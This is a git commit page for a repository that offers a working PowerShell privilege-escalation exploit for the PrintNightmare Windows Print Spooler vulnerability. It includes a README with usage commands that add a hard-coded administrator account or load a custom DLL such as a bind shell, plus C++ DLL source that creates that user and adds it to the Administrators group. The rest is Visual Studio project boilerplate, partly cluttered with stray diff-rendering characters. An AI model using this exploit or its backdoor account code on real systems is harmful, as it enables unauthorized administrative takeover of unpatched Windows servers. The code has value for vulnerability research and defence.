Corrected CVE identifier
John Hammond
commit
3897c6a8ca
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# CVE-2021-34527 - PrintNightmare LPE (PowerShell)
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> Caleb Stewart | John Hammond | June 1, 2021
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----------------------------------------------------------
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> **UPDATE June 2 2021**: Microsoft has released an advisory on [CVE-2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527), correctly terming that specific identifier as the **PrintNightmare** vulnerability exploit. Previously, the community was assuming [CVE-2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675) "was PrintNightmare" as the June 8 path did not resolve this issue. **This repository is [identical to the original](https://github.com/calebstewart/CVE-2021-1675) just with the different CVE name.**
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[CVE-2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare."
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Proof-of-concept exploits have been released ([Python](https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py), [C++](https://github.com/afwu/PrintNightmare/blob/main/EXP/POC/POC.cpp)) for the remote code execution capability, and a [C# rendition](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) for local privilege escalation. We had not seen a native implementation in pure PowerShell, and we wanted to try our hand at refining and recrafting the exploit.
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This PowerShell script performs local privilege escalation (LPE) with the PrintNightmare attack technique.
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This has been tested on Windows Server 2016 and Windows Server 2019.
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## Usage
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Add a new user to the local administrators group by default:
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```shell
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Import-Module .\cve-2021-34527.ps1
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Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
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Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
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```
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Supply a custom DLL payload, to do anything else you might like.
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```shell
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Import-Module .\cve-2021-34527.ps1
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Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
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```
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## Details
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* The LPE technique does not need to work with remote RPC or SMB, as it is only working with the functions of Print Spooler.
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* This script embeds a Base64-encoded GZIPped payload for a custom DLL, that is patched according to your arguments, to easily add a new user to the local administrators group.
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* This script embeds methods from PowerSploit/[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) to reflectively access the Win32 APIs.
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* This method does not loop through all printer drivers to find the appropriate DLL path -- it simply grabs the first driver and determines the appropriate path.
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Microsoft Visual Studio Solution File, Format Version 12.00
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# Visual Studio Version 16
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VisualStudioVersion = 16.0.31402.337
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MinimumVisualStudioVersion = 10.0.40219.1
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nightmare", "nightmare\nightmare.vcxproj", "{BBFBAF1D-A01E-4615-A208-786147320C20}"
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EndProject
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Global
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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Debug|x64 = Debug|x64
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Debug|x86 = Debug|x86
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Release|x64 = Release|x64
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Release|x86 = Release|x86
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EndGlobalSection
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GlobalSection(ProjectConfigurationPlatforms) = postSolution
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{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x64.ActiveCfg = Debug|x64
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{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x64.Build.0 = Debug|x64
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{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x86.ActiveCfg = Debug|Win32
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{BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x86.Build.0 = Debug|Win32
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{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x64.ActiveCfg = Release|x64
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{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x64.Build.0 = Release|x64
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{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x86.ActiveCfg = Release|Win32
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{BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x86.Build.0 = Release|Win32
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EndGlobalSection
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GlobalSection(SolutionProperties) = preSolution
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HideSolutionNode = FALSE
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EndGlobalSection
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GlobalSection(ExtensibilityGlobals) = postSolution
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SolutionGuid = {30C87B43-BD46-4499-B9D4-11823A3D67C8}
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EndGlobalSection
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EndGlobal
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// dllmain.cpp : Defines the entry point for the DLL application.
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#include "pch.h"
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#include <Windows.h>
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#include <lm.h>
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#include <iostream>
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#include <fstream>
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#pragma comment(lib, "netapi32.lib")
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wchar_t username[256] = L"adm1n";
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wchar_t password[256] = L"P@ssw0rd";
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BOOL APIENTRY DllMain( HMODULE hModule,
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DWORD ul_reason_for_call,
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LPVOID lpReserved
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)
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{
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// Create the user
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USER_INFO_1 user;
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memset(&user, 0, sizeof(USER_INFO_1));
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user.usri1_name = username;
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user.usri1_password = password;
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user.usri1_priv = USER_PRIV_USER;
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user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
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NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);
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// Add the user to the administrators group
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LOCALGROUP_MEMBERS_INFO_3 members;
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members.lgrmi3_domainandname = username;
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NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&members, 1);
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}
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@ -0,0 +1,5 @@
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#pragma once
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#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
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// Windows Header Files
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#include <windows.h>
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@ -0,0 +1,170 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<VCProjectVersion>16.0</VCProjectVersion>
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<Keyword>Win32Proj</Keyword>
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<ProjectGuid>{bbfbaf1d-a01e-4615-a208-786147320c20}</ProjectGuid>
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<RootNamespace>nightmare</RootNamespace>
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<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>DynamicLibrary</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>DynamicLibrary</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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<ConfigurationType>DynamicLibrary</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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<ConfigurationType>DynamicLibrary</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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<ImportGroup Label="Shared">
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</ImportGroup>
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||||||
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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||||||
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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||||||
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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||||||
|
</ImportGroup>
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||||||
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<PropertyGroup Label="UserMacros" />
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||||||
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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||||||
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<LinkIncremental>true</LinkIncremental>
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||||||
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</PropertyGroup>
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||||||
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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||||||
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<LinkIncremental>false</LinkIncremental>
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||||||
|
</PropertyGroup>
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||||||
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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||||||
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<LinkIncremental>true</LinkIncremental>
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||||||
|
</PropertyGroup>
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||||||
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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||||||
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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||||||
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>WIN32;_DEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
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</ClCompile>
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<Link>
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<SubSystem>Windows</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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<EnableUAC>false</EnableUAC>
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</Link>
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</ItemDefinitionGroup>
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||||||
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
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<ClCompile>
|
||||||
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<WarningLevel>Level3</WarningLevel>
|
||||||
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<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>WIN32;NDEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
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</ClCompile>
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<Link>
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<SubSystem>Windows</SubSystem>
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||||||
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
|
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<GenerateDebugInformation>true</GenerateDebugInformation>
|
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<EnableUAC>false</EnableUAC>
|
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|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
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|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
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|
<ClCompile>
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<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
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|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
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|
</ClCompile>
|
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|
<Link>
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|
<SubSystem>Windows</SubSystem>
|
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|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="framework.h" />
|
||||||
|
<ClInclude Include="pch.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="dllmain.cpp" />
|
||||||
|
<ClCompile Include="pch.cpp">
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
|
|
@ -0,0 +1,33 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="framework.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="pch.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="dllmain.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="pch.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
||||||
|
|
@ -0,0 +1,5 @@
|
||||||
|
// pch.cpp: source file corresponding to the pre-compiled header
|
||||||
|
|
||||||
|
#include "pch.h"
|
||||||
|
|
||||||
|
// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
|
||||||
|
|
@ -0,0 +1,13 @@
|
||||||
|
// pch.h: This is a precompiled header file.
|
||||||
|
// Files listed below are compiled only once, improving build performance for future builds.
|
||||||
|
// This also affects IntelliSense performance, including code completion and many code browsing features.
|
||||||
|
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
|
||||||
|
// Do not add files here that you will be updating frequently as this negates the performance advantage.
|
||||||
|
|
||||||
|
#ifndef PCH_H
|
||||||
|
#define PCH_H
|
||||||
|
|
||||||
|
// add headers that you want to pre-compile here
|
||||||
|
#include "framework.h"
|
||||||
|
|
||||||
|
#endif //PCH_H
|
||||||
Loading…
Reference in New Issue